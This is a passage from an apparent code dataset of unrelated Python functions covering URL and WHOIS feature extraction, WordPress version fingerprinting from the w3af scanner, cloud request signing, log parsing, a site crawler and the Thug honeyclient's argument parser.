else:\\r\\n if(type(w.expiration_date) is list):\\r\\n expiry_date=w.expiration_date[-1]\\r\\n else:\\r\\n expiry_date=w.expiration_date\\r\\n if(type(expiry_date) is datetime.datetime):\\r\\n today_date=datetime.datetime.now()\\r\\n expiry_age_in_mon=((expiry_date - today_date).days)/avg_month_time\\r\\n expiry_age_in_mon=round(expiry_age_in_mon)\\r\\n\\r\\n # appending in months Appended to the Vector\\r\\n result.append(expiry_age_in_mon)\\r\\n else:\\r\\n # expiry date error so append -1\\r\\n result.append(-1)\\r\\n\\r\\n #find the age of last update\\r\\n \\r\\n if(w.updated_date==None or type(w.updated_date) is str):\\r\\n result.append(-1)\\r\\n else:\\r\\n if(type(w.updated_date) is list):\\r\\n update_date=w.updated_date[-1]\\r\\n else:\\r\\n update_date=w.updated_date\\r\\n if(type(update_date) is datetime.datetime):\\r\\n today_date=datetime.datetime.now()\\r\\n update_age_in_days=((today_date - update_date).days)\\r\\n result.append(update_age_in_days)\\r\\n # appending updated age in days\\r\\n else:\\r\\n result.append(-1)\\r\\n\\r\\n \\r\\n #find the country that is hosting this domain\\r\\n if(w.country == None):\\r\\n result.append(\\\"None\\\")\\r\\n else:\\r\\n if isinstance(w.country,str):\\r\\n result.append(w['country'])\\r\\n else:\\r\\n result.append(w['country'][0])\\r\\n if get_ext(path.path) == '':\\r\\n result.append(\\\"None\\\")\\r\\n else:\\r\\n result.append(get_ext(path.path))\\r\\n result.append(str(label))\\r\\n return result\",\n \"def count_domains(urls, screen_name, domains):\\n\\n def add_domain_to_dict(domains, domain_string):\\n \\\"\\\"\\\" helper function\\\"\\\"\\\"\\n domain = urlparse(unquote(domain_string)).netloc.replace('www.', '')\\n domain = domain.split(':')[0]\\n try:\\n new_domain = get_domain(domain)\\n except ValueError:\\n with open('erroneous_domains.txt', 'a') as f:\\n f.write(domain)\\n return domains\\n\\n if not domains.get(new_domain):\\n domains[new_domain] = {}\\n domains[new_domain].get(screen_name, {})\\n domains[new_domain][screen_name] = domains[new_domain].get(screen_name, 0) + 1\\n\\n for u in urls:\\n long_url = 'http://api.longurl.org/v2/expand'\\n params = {'url': u, 'format': 'json'}\\n\\n r = do_a_request(long_url, params)\\n if r is None:\\n continue\\n \\n json = simplejson.loads(r.text)\\n r.close()\\n if json.has_key('long-url'):\\n domain = get_domain(urlparse(u).netloc.replace('www.', ''))\\n if json['long-url'] and domain not in json['long-url']:\\n add_domain_to_dict(domains, json['long-url'])\\n continue\\n if json.has_key('messages') and json['messages'] and \\\\\\n json['messages'][0]['message'] == 'Input is oversize: NOT_SHORTURL.':\\n add_domain_to_dict(domains, u)\\n else:\\n request = do_a_request(u)\\n if request is None:\\n continue\\n \\n if request.status_code == 200:\\n add_domain_to_dict(domains, request.url)\\n else:\\n with open('log.txt', 'a') as f:\\n f.write(u + ',' + screen_name + '\\\\n')\\n request.close()\\n\\n return domains\",\n \"def _fingerprint_wordpress(self, domain_path, wp_unique_url, response):\\n self._fingerprint_meta(domain_path, wp_unique_url, response)\\n self._fingerprint_data(domain_path, wp_unique_url, response)\\n self._fingerprint_readme(domain_path, wp_unique_url, response)\\n self._fingerprint_installer(domain_path, wp_unique_url, response)\",\n \"def stats(input, output, dictshare, format_in, format_out, verbose, zipfile, checkdates):\\n if verbose:\\n enableVerbose()\\n options = {}\\n options['output'] = output\\n options['dictshare'] = dictshare\\n options['zipfile'] = zipfile\\n options['format_in'] = format_in\\n options['format_out'] = format_out\\n options['checkdates'] = checkdates\\n options['verbose'] = verbose\\n acmd = Analyzer(nodates=not checkdates)\\n acmd.analyze(input, options)\\n pass\",\n \"def compute_signature(msg):\\n hashkey = memcache.Client().get('CURL_TEST_SERVER_HASHKEY')\\n h = hmac.new(hashkey, msg, hashlib.sha1)\\n signature = urllib.quote(base64.b64encode(h.digest()))\\n return signature\",\n \"def get_synset_stats(\\n synsets_to_urls: Dict[str, List[str]]\\n) -> Dict[str, Any]:\\n stats = {}\\n for synset in synsets_to_urls:\\n urls = synsets_to_urls[synset]\\n n_urls = len(urls)\\n n_flickr_urls = 0\\n for url in urls:\\n if url.find('flickr') != -1:\\n n_flickr_urls += 1\\n stats[synset] = {\\\"n_urls\\\": n_urls, \\\"n_flickr_urls\\\": n_flickr_urls}\\n return stats\",\n \"def main(filepath, maskpath):\\n analytics.result = {}\\n img_mask = nib.load(maskpath).get_fdata()\\n print(\\\"loading\\\\n\\\", flush=True)\\n # segmentation\\n print(\\\"loading segmentation...\\\\n\\\", flush=True)\\n seg = nib.load(filepath).get_fdata()\\n # post processing\\n print(\\\"applying some post processing...\\\\n\\\", flush=True)\\n seg = apply_mask(seg, img_mask)\\n seg_2d = binarize(seg, img_mask)\\n print(\\\"End of slice processing\\\\n\\\", flush=True) \\n distance_map, skel = analytics.distance(seg_2d)\\n print(\\\"distance\\\\n\\\", flush=True)\\n dist_per_label , skel= analytics.label_value(distance_map, skel)\\n print(\\\"label_value\\\\n\\\", flush=True) \\n analytics.get_analytics(seg, img_mask, dist_per_label, skel, verbose=True)\\n print(\\\"got analytics\\\\n\\\", flush=True)\",\n \"def stats(self):\\n stats = {\\n 'lines' : '', # This will count the lines under each split\\n 'status_code': self.status_code,\\n 'content_type': self.mime,\\n 'hop': self.hop_path[-1:],\\n 'sum:content_length': self.content_length,\\n 'host': self.host(),\\n 'source': self.source\\n }\\n # Add in annotations:\\n for annot in self.annotations:\\n # Set a prefix based on what it is:\\n prefix = ''\\n if self.re_tries.match(annot):\\n prefix = 'tries:'\\n elif self.re_ip.match(annot):\\n prefix = \\\"ip:\\\"\\n # Only emit lines with annotations:\\n if annot != \\\"-\\\":\\n stats[\\\"%s%s\\\" % (prefix, annot)] = \\\"\\\"\\n return stats\",\n \"def _file_stats(file_path, enforce_fastx=True):\\n if isinstance(file_path, tuple):\\n assert len(file_path) == 2\\n file_size = sum(_file_size(f, uncompressed=True) for f in file_path)\\n file_path = interleaved_filename(file_path)\\n paired = True\\n else:\\n file_size = _file_size(file_path, uncompressed=False)\\n paired = False\\n\\n new_filename, ext = os.path.splitext(os.path.basename(file_path))\\n\\n if ext in {\\\".gz\\\", \\\".gzip\\\", \\\".bz\\\", \\\".bz2\\\", \\\".bzip\\\"}:\\n compressed = ext\\n new_filename, ext = os.path.splitext(new_filename)\\n else:\\n compressed = \\\"\\\"\\n\\n # strip compressed extension if paired-end, since we're going to upload uncompressed\\n if paired and compressed:\\n final_filename = new_filename + ext\\n else:\\n final_filename = new_filename + ext + compressed\\n\\n if enforce_fastx:\\n if ext in {\\\".fa\\\", \\\".fna\\\", \\\".fasta\\\"}:\\n file_format = \\\"fasta\\\"\\n elif ext in {\\\".fq\\\", \\\".fastq\\\"}:\\n file_format = \\\"fastq\\\"\\n else:\\n raise UploadException(\\n \\\"{}: extension must be one of .fa, .fna, .fasta, .fq, .fastq\\\".format(final_filename)\\n )\\n else:\\n file_format = None\\n\\n if file_size == 0:\\n raise UploadException(\\\"{}: empty files can not be uploaded\\\".format(final_filename))\\n\\n return final_filename, file_size, file_format\",\n \"def new_values(basenames):\\n result = {}\\n for basename in basenames:\\n home = os.environ['HOME']\\n p = os.path.join(home, basename)\\n if not os.path.isfile(p):\\n continue\\n size = '%d' % p.size\\n mtime = '%0.8f' % p.mtime\\n result[basename] = Signature(mtime, size, text_digest(p.text()))\\n return pad_keys(result, basenames)\",\n \"def pr(size, analys) -> 'html':\\n c = get_client()\\n fileName = ''\\n store(size)\\n cursor = c.find({ 'size' : size })\\n listF = []\\n add = 0\\n for line in cursor:\\n fileName = line['file']\\n for f in line['files']:\\n if isinstance(f, dict):\\n for k ,v in f.items():\\n strin = k + ' (' + str(v) + ') '\\n add += 1\\n else:\\n strin += str(f)\\n add += 1\\n if add == 2:\\n listF.append(strin)\\n add = 0\\n \\n listOrder = []\\n listOrder.append('A-Z')\\n listOrder.append('Occurance')\\n if analys == 'Analysed first time':\\n return render_analysis('mainResult.html',analys,fileName,listF,listOrder)\\n else:\\n return render_analysis('reprint.html',analys,fileName,listF,listOrder)\",\n \"def summarize(path: str) -> dict:\\n results = parse_bactopia_directory(path)\",\n \"def _fingerprint_meta(self, domain_path, wp_unique_url, response):\\n # Main scan URL passed from w3af + wp index page\\n wp_index_url = domain_path.url_join('index.php')\\n response = self._uri_opener.GET(wp_index_url, cache=True)\\n\\n # Find the string in the response html\\n find = '<meta name=\\\"generator\\\" content=\\\"[Ww]ord[Pp]ress (\\\\d\\\\.\\\\d\\\\.?\\\\d?)\\\" />'\\n m = re.search(find, response.get_body())\\n\\n # If string found, group version\\n if m:\\n version = m.group(1)\\n\\n # Save it to the kb!\\n desc = 'WordPress version \\\"%s\\\" found in the index header.'\\n desc = desc % version\\n\\n i = Info('Fingerprinted Wordpress version', desc, response.id,\\n self.get_name())\\n i.set_url(wp_index_url)\\n \\n kb.kb.append(self, 'info', i)\\n om.out.information(i.get_desc())\",\n \"def sign_url(path, expiration, account_email, keytext,\\n verb='GET', content_type='', content_md5=''):\\n private_key = RSA.importKey(keytext)\\n if not path.startswith('/'):\\n path = '/'+path\\n base_url = '%s%s' % (GCS_API_ENDPOINT, path)\\n string_to_sign = SIGNATURE_STRING.format(verb=verb,\\n content_md5=content_md5,\\n content_type=content_type,\\n expiration=expiration,\\n resource=path)\\n print(\\\"string to sign:\\\", string_to_sign)\\n signature_signed = base64sign(string_to_sign, private_key)\\n query_params = {'GoogleAccessId': account_email,\\n 'Expires': str(expiration),\\n 'Signature': signature_signed}\\n return base_url+'?'+urllib.parse.urlencode(query_params)\",\n \"def _fingerprint_data(self, domain_path, wp_unique_url, response):\\n for wp_fingerprint in self._get_wp_fingerprints():\\n \\n # The URL in the XML is relative AND it has two different variables\\n # that we need to replace:\\n # $wp-content$ -> wp-content/\\n # $wp-plugins$ -> wp-content/plugins/\\n path = wp_fingerprint.filepath\\n path = path.replace('$wp-content$', 'wp-content/')\\n path = path.replace('$wp-plugins$', 'wp-content/plugins/')\\n test_url = domain_path.url_join(path)\\n \\n response = self._uri_opener.GET(test_url, cache=True)\\n\\n response_hash = hashlib.md5(response.get_body()).hexdigest()\\n\\n if response_hash == wp_fingerprint.hash:\\n version = wp_fingerprint.version\\n\\n # Save it to the kb!\\n desc = 'WordPress version \\\"%s\\\" fingerprinted by matching known md5'\\\\\\n ' hashes to HTTP responses of static resources available at'\\\\\\n ' the remote WordPress install.'\\n desc = desc % version\\n i = Info('Fingerprinted Wordpress version', desc, response.id,\\n self.get_name())\\n i.set_url(test_url)\\n \\n kb.kb.append(self, 'info', i)\\n om.out.information(i.get_desc())\\n \\n break\",\n \"def GraphSigVsSize(data, args):\\n p = data[args]['sigsize']\\n vers = sorted(p)\\n sizes = sorted(p[vers[0]])\\n for ver in vers:\\n sigs = [p[ver][size]/size for size in sizes]\\n plt.plot(sizes, sigs, label=ver)\\n ax = plt.gca()\\n ax.set_xlim(left=0, right=1024)\\n #plt.xscale('log')\\n #plt.yscale('log')\\n saveplt('data/file-size-%s-%s.svg' % (args,'sig'), 'sigsize vs filesize for %s' % args,\\n 'filesize', 'ratio', sizeticks)\",\n \"def analyze_urls(filename, topic):\\n # Initialize an empty list. Note that I store my urls and references\\n # in a sort of strange way. Each element in result_list is a list of two\\n # elements, the first element being the url, and the second element\\n # being a list of all the references to the url\\n result_list = []\\n\\n # Using the with...as construct to open the file in read mode\\n with open(filename, \\\"r\\\", encoding=\\\"utf-8\\\") as files:\\n # Iterate over each line (each is a url)\\n for line in files:\\n # Use the try ... except construct\\n try:\\n # Try to open each url\\n with urllib.request.urlopen(line) as url_file:\\n # Read the page\\n page = url_file.read()\\n # Decode the page\\n decoded_page = page.decode(\\\"UTF-8\\\")\\n # Regex expression to find the places which open\\n # with a > then have some stuff, then the topic, then\\n # close with a <\\n pattern = fr\\\">[^<]*\\\\b{topic}\\\\b.*?<\\\"\\n\\n # Use the findall method from re to find all of the\\n # occurrences of pattern in decoded_page as a list\\n # The flags are IGNORECASE and DOTALL\\n my_list = re.findall(pattern, decoded_page,\\n re.IGNORECASE | re.DOTALL)\\n\\n # If my_list is not empty\\n if my_list:\\n # Slice off the the closing and opening angle\\n # brackets using a list comprehension\\n new_list = [word[1:-1] for word in my_list]\\n # Append a new list of two elements to result_list,\\n # where the first element of the list is the url,\\n # and the second element of the list is the list of\\n # references\\n result_list.append([line, new_list])\\n # One possible error is the urllib.error.URLError\\n except urllib.error.URLError as url_err: # Catch the error\\n # Print a message, url, and the error\\n print(\\\"Error opening url:\\\", line, url_err)\\n # Another possible error is the UnicodeDecodeError\\n except UnicodeDecodeError as dec_err: # Catch the error\\n # Print a message, and url\\n print(\\\"Error decoding url:\\\", line)\\n # Print the error\\n print(dec_err)\\n # Except all other errors\\n except:\\n pass\\n # Return the result_list\\n return result_list\",\n \"def main():\\n\\n ## Deal with incoming.\\n parser = argparse.ArgumentParser(\\n description=__doc__,\\n formatter_class=argparse.RawDescriptionHelpFormatter)\\n parser.add_argument('-w', '--walk',\\n help='Combined report JSON file')\\n parser.add_argument('-r', '--remote',\\n help='The remote server to map onto')\\n parser.add_argument('-o', '--output',\\n help='The file to dump the JSON output to')\\n parser.add_argument('-v', '--verbose', action='store_true',\\n help='More verbose output')\\n args = parser.parse_args()\\n\\n if args.verbose:\\n LOG.setLevel(logging.INFO)\\n LOG.info('Verbose: on')\\n\\n ## Ensure directory.\\n if not args.walk:\\n die_screaming('need a \\\"walk\\\" argument')\\n LOG.info('Will walk directory: ' + args.walk)\\n ## Ensure URL.\\n if not args.remote:\\n die_screaming('need \\\"remote\\\" argument')\\n LOG.info('Will map unto URL: ' + args.remote)\\n ## Ensure output file.\\n if not args.output:\\n die_screaming('need an output file argument')\\n LOG.info('Will output to: ' + args.output)\\n\\n ## Walk tree.\\n lookup = [];\\n for curr_dir, dirs, files in os.walk(args.walk):\\n\\n ## We can navigate up if we are not in the root.\\n relative_to_start = curr_dir.rstrip('//')[len(args.walk):]\\n relative_to_start = relative_to_start.lstrip('//')\\n LOG.info('curr_dir: ' + curr_dir + ' (' + relative_to_start + ')')\\n\\n ## Note files and directories.\\n for fname in files:\\n\\n ## Figure out S3 path/key and final filename, keeping in\\n ## mind that relative_to_Start can be empty if root.\\n webpath = fname\\n if relative_to_start:\\n webpath = relative_to_start + '/' + fname\\n filename = os.path.join(curr_dir, fname)\\n\\n size = os.path.getsize(filename)\\n md5sum = hashlib.md5(open(filename, 'rb').read()).hexdigest()\\n\\n ## Visual check.\\n LOG.info('file: '+ filename + ' -> [' + args.remote + '] / ' + webpath + '; ' + str(size) + ', ' + md5sum)\\n\\n lookup.append({\\n 'url': args.remote + '/' + webpath,\\n 'length': str(size),\\n 'filename': webpath,\\n 'md5': md5sum\\n })\\n\\n ## Final writeout.\\n output = json.dumps(lookup, sort_keys=True, indent=4)\\n with open(args.output, 'w+') as fhandle:\\n fhandle.write(output)\\n LOG.info(output)\",\n \"def checkurlsbasic(urlstxt, protocolstxt, mdtype):\\n # urlstxt consists of a list of urls, split by ;\\n # for each url, check if it has been resolvable by inspecting the HTTP\\n # code added to the URL\\n score = 2\\n if len(urlstxt) > 3: # TODO: take into account that starts with \\\" (HTTP \\\" as well, so longer url is needed\\n # start with an empty score if there are urls\\n score = 0\\n urls = urlstxt.split(valuesep) # TODO: make configurable?\\n errors = 0\\n nrurls = 0\\n for u in urls:\\n if u != None:\\n try:\\n # u starts with \\\" (HTTP 0)\\\", so must be longer than\\n if len(u) > 2 and u != \\\" (HTTP 0)\\\":\\n # TODO: assume http 2xx, 3xx and 5xx-series (all!) are the only okay HTTP codes?\\n # Or use others as well? Or just the start mubers, so 204 is also included\\n # for 400-series: HTTP 400 should be okay, since this means that the client sent a wrong request (but the service still exists / works there, e.g. TMS)\\n # TODO: use a list of HTTP codes that are okay.\\n # Configurable\\n nrurls = nrurls + 1\\n if u.find(\\\"(HTTP 2\\\") == -1 and u.find(\\\"(HTTP 3\\\") == -1 and u.find(\\\"(HTTP 5\\\") == -1 and u.find(\\\"(HTTP 400\\\") == -1 and u.find(\\\"(HTTP 403\\\") == -1 and u.find(\\\"(HTTP intern)\\\") == -1:\\n errors = errors + 1\\n except Exception as e:\\n logging.info(\\\"Checking URLs failed for: \\\" + u)\\n logging.debug(str(e))\\n errors = errors + 1\\n if mdtype == \\\"dataset\\\" or mdtype == \\\"series\\\":\\n if errors == 0:\\n score = 2\\n # if we don't have urls, but the service type contains OGC: .. , download or website, then we have an error\\n # TODO: document\\n if (protocolstxt.find(\\\"OGC:\\\") > -1 or protocolstxt.find(\\\"download\\\") > -1 or protocolstxt.find(\\\"website\\\") > -1) and nrurls == 0:\\n score = 0\\n # checkid = 6, so the index in the matrix is: 5\\n result = checksdatasets[5][2][score]\\n else:\\n # there must be a URL as well, so check this\\n if errors > 0 or nrurls == 0:\\n score = 0\\n else:\\n score = 2\\n result = checksservices[5][2][score]\\n return MkmScore(urlstxt, score, result)\",\n \"def parse_url(url):\\n results = NotifyBase.parse_url(url, verify_host=False)\\n if not results:\\n # We're done early as we couldn't load the results\\n return results\\n\\n # Store our access code\\n access_token = NotifyStreamlabs.unquote(results['host'])\\n results['access_token'] = access_token\\n\\n # call\\n if 'call' in results['qsd'] and results['qsd']['call']:\\n results['call'] = NotifyStreamlabs.unquote(\\n results['qsd']['call'].strip().upper())\\n # donation - amount\\n if 'amount' in results['qsd'] and results['qsd']['amount']:\\n results['amount'] = NotifyStreamlabs.unquote(\\n results['qsd']['amount'])\\n # donation - currency\\n if 'currency' in results['qsd'] and results['qsd']['currency']:\\n results['currency'] = NotifyStreamlabs.unquote(\\n results['qsd']['currency'].strip().upper())\\n # donation - name\\n if 'name' in results['qsd'] and results['qsd']['name']:\\n results['name'] = NotifyStreamlabs.unquote(\\n results['qsd']['name'].strip().upper())\\n # donation - identifier\\n if 'identifier' in results['qsd'] and results['qsd']['identifier']:\\n results['identifier'] = NotifyStreamlabs.unquote(\\n results['qsd']['identifier'].strip().upper())\\n # alert - alert_type\\n if 'alert_type' in results['qsd'] and results['qsd']['alert_type']:\\n results['alert_type'] = NotifyStreamlabs.unquote(\\n results['qsd']['alert_type'])\\n # alert - image_href\\n if 'image_href' in results['qsd'] and results['qsd']['image_href']:\\n results['image_href'] = NotifyStreamlabs.unquote(\\n results['qsd']['image_href'])\\n # alert - sound_href\\n if 'sound_href' in results['qsd'] and results['qsd']['sound_href']:\\n results['sound_href'] = NotifyStreamlabs.unquote(\\n results['qsd']['sound_href'].strip().upper())\\n # alert - duration\\n if 'duration' in results['qsd'] and results['qsd']['duration']:\\n results['duration'] = NotifyStreamlabs.unquote(\\n results['qsd']['duration'].strip().upper())\\n # alert - special_text_color\\n if 'special_text_color' in results['qsd'] \\\\\\n and results['qsd']['special_text_color']:\\n results['special_text_color'] = NotifyStreamlabs.unquote(\\n results['qsd']['special_text_color'].strip().upper())\\n\\n return results\",\n \"def by_domains(self):\\n\\t\\t\\n\\t\\t# TODO: use urllib instead\\n\\t\\turl_format = r'^\\\\s*(?:(?P<protocol>\\\\w+)://)?(?P<domain>[\\\\w\\\\d\\\\-\\\\.]+)(?::(?P<port>\\\\d+))?/?(?P<everything_else>.*)$'\\n\\t\\tsites = {}\\n\\t\\tfor line in self.source.lines:\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tif self.filter(line):\\n\\t\\t\\t\\t\\tresult = re.match(url_format, line.content.url)\\n\\t\\t\\t\\t\\tif result.group('domain') not in sites.keys():\\n\\t\\t\\t\\t\\t\\tsites[result.group('domain')] = 0\\n\\t\\t\\t\\t\\tsites[result.group('domain')] += int(line.content.size)\\n\\t\\t\\texcept AttributeError:\\n\\t\\t\\t\\tpass\\n\\t\\t\\n\\t\\t# TODO: sort; convert to lists is even better\\n\\t\\t\\n\\t\\treturn sites\",\n \"def calculate_signature(self, request_date, host, endpoint, params, headers, method, payload=\\\"\\\", time=time):\\n\\n algorithm = params['SignatureMethod']\\n\\n canonical_request = self.get_canonical_string(request_date, host, endpoint, params, headers, method, payload)\\n string_to_sign = self.get_string_to_sign(algorithm, request_date, canonical_request)\\n\\n request_date_simple = request_date[:8]\\n\\n digestmod = hashlib.sha256\\n kdate = hmac.new(('AWS4' + self._secret_key).encode(), request_date_simple.encode(), digestmod).digest()\\n kregion = hmac.new(kdate, self._region.encode(), digestmod).digest()\\n kservice = hmac.new(kregion, self._service.encode(), digestmod).digest()\\n ksigning = hmac.new(kservice, self._request_scope.encode(), digestmod).digest()\\n\\n signature = hmac.new(ksigning, string_to_sign.encode(), digestmod).digest()\\n\\n return binascii.hexlify(signature)\",\n \"def gen_parse_log(file_info, fails_percent):\\n logging.info(\\\"parsing log %s started\\\", file_info.path)\\n url_time_re = re.compile(r'.*?(?:GET|POST)\\\\s+(.*?)\\\\s+.*?(\\\\d+\\\\.\\\\d*)(?:$|\\\\n|\\\\r)')\\n log_file = open(file_info.path, \\\"r\\\") if not file_info.ext else gzip.open(file_info.path, \\\"r\\\")\\n\\n fails = 0\\n count = 0\\n urls = {}\\n all_time = 0\\n\\n for log_line in log_file:\\n if not isinstance(log_line, str):\\n log_line = log_line.decode()\\n count += 1\\n match = url_time_re.match(log_line)\\n if match:\\n if match.group(1).strip() in urls:\\n urls[match.group(1).strip()].append(float(match.group(2)))\\n else:\\n urls[match.group(1).strip()] = [float(match.group(2))]\\n all_time += float(match.group(2))\\n else:\\n fails += 1\\n\\n MAIN_LOGGER.info(\\\"%f fails\\\", round(fails / count * 100, 2))\\n\\n if (fails / count * 100) > float(fails_percent):\\n MAIN_LOGGER.error(\\\"can not parse file\\\")\\n return None\\n\\n log_file.close()\\n res_list = []\\n for url in urls:\\n entries = urls[url]\\n res_list.append(\\n {\\\"url\\\": url,\\n \\\"count\\\": len(entries),\\n \\\"entries\\\": entries,\\n \\\"time_sum\\\": round(sum(entries), 3),\\n }\\n )\\n\\n sorted_res = list(sorted(res_list, key=lambda string: string[\\\"time_sum\\\"], reverse=True))\\n for log_line in sorted_res:\\n len_line = len(log_line['entries'])\\n sum_line = sum(log_line['entries'])\\n log_line[\\\"count_perc\\\"] = round(float(len_line) / float(count) * 100, 3)\\n log_line[\\\"time_avg\\\"] = round(float(sum_line) / float(len_line), 3)\\n log_line[\\\"time_max\\\"] = round(max(log_line['entries']), 3)\\n log_line[\\\"time_med\\\"] = round(median(log_line['entries']), 3)\\n log_line[\\\"time_perc\\\"] = round(float(sum_line) / float(all_time) * 100, 3)\\n del log_line['entries']\\n yield log_line\",\n \"def checkSite(url, strings, output):\\n\\n domain = getDomainName(url)\\n otherLinks = list()\\n txt = \\\"\\\\n=================================\\\\n\\\"\\n txt += \\\"Domain: \\\" + domain + \\\"\\\\n\\\"\\n txt += \\\"=================================\\\\n\\\"\\n linksViewed = set()\\n dStrings = dict()\\n imgs = set([])\\n links = set([url])\\n forbidden = [\\\".ogg\\\", \\\".tex\\\", \\\".pdf\\\", \\\".mp3\\\", \\\"mp4\\\", \\\".ods\\\", \\\".xls\\\", \\\".xlsx\\\",\\\\\\n \\\".doc\\\", \\\".docx\\\", \\\".zip\\\", \\\".tar\\\", \\\".gz\\\", \\\".ggb\\\", \\\".cls\\\", \\\".sty\\\", \\\".avi\\\", \\\".flv\\\"\\\\\\n \\\".mkv\\\", \\\".srt\\\"]\\n #While we have not check all URL\\n while links - linksViewed != set([]):\\n #Check all links (not already viewed) for this page\\n for link in links - linksViewed:\\n #If the domains are the same, the extension is not forbidden\\n if getDomainName(link) == domain and getExtension(link) not in forbidden:\\n print \\\"Checking on \\\" + link + \\\"...\\\\n\\\"\\n dStringst, linkst, imgst = checkPage(link, strings)\\n txt += link + \\\":\\\\n\\\"\\n for key, value in dStringst.items():\\n txt += \\\"\\\\t\\\" + key + \\\" -> \\\" + str(value) + \\\"\\\\n\\\"\\n txt += \\\"\\\\n\\\"\\n #Clear list of forbidden extentions\\n tmp = list()\\n for l in linkst:\\n if getDomainName(l) == domain and getExtension(l) not in forbidden:\\n tmp.append(l)\\n #If the extension is allowed but the link is on an other domain\\n elif getDomainName(l) != domain and getExtension(l) not in forbidden:\\n otherLinks.append(l)\\n linkst = set(tmp)\\n links = links | linkst\\n imgs = imgs | imgst\\n #Update link count\\n for key, value in dStringst.items():\\n dStrings[key] = dStrings[key] + value if key in dStrings.keys() else 0\\n\\n linksViewed = linksViewed | set([link])\\n\\n links = set(links)\\n imgs = set(imgs)\\n\\n #Export/print after each website, in order to do not lost all if user\\n #stops the program with Ctrl+C\\n if len(output) > 0:\\n export(output, txt)\\n else:\\n print txt\\n return txt, set(otherLinks), linksViewed\",\n \"def get_download_info(files):\\n file_paths = [] # the files we need to check\\n file_count = 0 # count of each file in files\\n total_size = 0\\n\\n all_product_types = []\\n for ring_obs_id in files:\\n for product_type in files[ring_obs_id]:\\n for f in files[ring_obs_id][product_type]:\\n\\n all_product_types.append(product_type)\\n\\n if product_type != 'preview_image':\\n # this is a pds file not a browse product\\n # collect the urls.. we will process these at the end\\n file_paths += [f for f in files[ring_obs_id][product_type]] # list of all urls\\n\\n elif product_type == 'preview_image':\\n # the file size of each preview images on disc is checked here\\n # todo: OMG WHY WHAT\\n # todo: get the file sizes into database instead = process like pds files and remove this whole section!\\n\\n from results.views import get_base_path_previews\\n try:\\n size = getsize(f)\\n total_size += size\\n file_count = file_count + 1\\n except OSError:\\n log.error('could not find file: ' + f)\\n\\n all_product_types = list(set(all_product_types)) # make unique\\n # now we have all pds file_names, put all file names in a list and get their count\\n if file_paths:\\n\\n file_names = list(set([ get_file_path(u) for u in file_paths]))\\n file_count += len(file_names)\\n\\n # query database for the sum of all file_names size fields\\n file_sizes = FileSizes.objects.filter(name__in=file_names, PRODUCT_TYPE__in=all_product_types).values('name','size','volume_id').distinct()\\n total_size += sum([f['size'] for f in file_sizes]) # todo: this is here b/c django was not happy mixing aggregate+distinct\\n\\n return total_size, file_count # bytes\",\n \"def signature(request) -> str:\\n return get_test_data(request, __name__, \\\"signature\\\", \\\"r\\\")\",\n \"def get_signed_urls(urls, rse, operation='read'):\\n result = {}\\n for url in urls:\\n try:\\n endpoint, bucket_name, key_name = _get_endpoint_bucket_key(url)\\n\\n signed_url = None\\n if operation == 'read':\\n # signed_url = conn.generate_url(3600, 'GET', bucket_name, key_name, query_auth=True, force_http=False)\\n bucket = _get_bucket(rse, endpoint, bucket_name)\\n key = bucket.get_key(key_name)\\n if key is None:\\n signed_url = exception.SourceNotFound('Key %s not found on %s' % (key_name, endpoint))\\n else:\\n try:\\n signed_url = key.generate_url(3600, 'GET', query_auth=True, merge_meta=False, force_http=False)\\n except TypeError:\\n # merge_meta option is not supported\\n signed_url = key.generate_url(3600, 'GET', query_auth=True, force_http=False)\\n else:\\n conn = _get_connection(rse, endpoint)\\n _get_bucket(rse, endpoint, bucket_name, operation='write')\\n signed_url = conn.generate_url(3600, 'PUT', bucket_name, key_name, query_auth=True, force_http=False)\\n result[url] = signed_url\\n except boto.exception.S3ResponseError as e:\\n if e.status in [404, 403]:\\n result[url] = exception.DestinationNotAccessible(e)\\n else:\\n result[url] = exception.ServiceUnavailable(e)\\n except exception.RucioException as e:\\n result[url] = e\\n except:\\n result[url] = exception.RucioException(\\\"Failed to get signed url for %s, error: %s\\\" % (url, traceback.format_exc()))\\n return result\",\n \"def parsing():\\n # User Agents\\n user_agents = '''\\nAvailable User-Agents:\\n winxpie60 Internet Explorer 6.0 (Windows XP)\\n winxpie61 Internet Explorer 6.1 (Windows XP)\\n winxpie70 Internet Explorer 7.0 (Windows XP)\\n winxpie80 Internet Explorer 8.0 (Windows XP)\\n winxpchrome20 Chrome 20.0.1132.47 (Windows XP)\\n winxpfirefox12 Firefox 12.0 (Windows XP)\\n winxpsafari5 Safari 5.1.7 (Windows XP)\\n win2kie60 Internet Explorer 6.0 (Windows 2000)\\n win2kie80 Internet Explorer 8.0 (Windows 2000)\\n win7ie80 Internet Explorer 8.0 (Windows 7)\\n win7ie90 Internet Explorer 9.0 (Windows 7)\\n win7chrome20 Chrome 20.0.1132.47 (Windows 7)\\n win7firefox3 Firefox 3.6.13 (Windows 7)\\n win7safari5 Safari 5.1.7 (Windows 7)\\n osx10safari5 Safari 5.1.1 (MacOS X 10.7.2)\\n osx10chrome19 Chrome 19.0.1084.54 (MacOS X 10.7.4)\\n galaxy2chrome18 Chrome 18.0.1025.166 (Samsung Galaxy S II,\\\\\\nAndroid 4.0.3)\\n galaxy2chrome25 Chrome 25.0.1364.123 (Samsung Galaxy S II,\\\\\\nAndroid 4.0.3)\\n linuxchrome26 Chrome 26.0.1410.19 (Linux)\\n linuxfirefox19 Firefox 19.0 (Linux)\\n '''\\n\\n # Description of Command Line arguments\\n parser = argparse.ArgumentParser(description='Distributed Pure Python \\\\\\nHoneyclient Implementation',\\n formatter_class=argparse.RawDescriptionHelpFormatter,\\n usage='python %(prog)s [ thug-options ] url',\\n fromfile_prefix_chars='@',\\n epilog=user_agents)\\n\\n def link(urls):\\n links = urls.strip().split(',')\\n for url in links:\\n try:\\n if 'http://' not in url:\\n url = 'http://' + url\\n urlopen(url)\\n except:\\n raise argparse.ArgumentTypeError(\\\"%s doesn't exist\\\"%url)\\n return urls\\n\\n def link_file(fn):\\n fobj = open(fn, 'r')\\n url = fobj.readline().strip()\\n urls = []\\n while url:\\n try:\\n if 'http://' not in url:\\n url = 'http://' + url\\n urlopen(url)\\n urls.append(url)\\n except:\\n raise argparse.ArgumentTypeError(\\\"%s doesn't exist\\\"%url)\\n url = fobj.readline().strip()\\n return urls\\n\\n # Mutually Exclusive Group for URL's\\n links = parser.add_argument_group('URL Options')\\n url = links.add_mutually_exclusive_group(required=True)\\n url.add_argument('-U', '--url',\\n metavar='',\\n type=link,\\n nargs='+',\\n help=\\\"Enter Single/Multiple URL's to Analyze\\\")\\n url.add_argument('-uf', 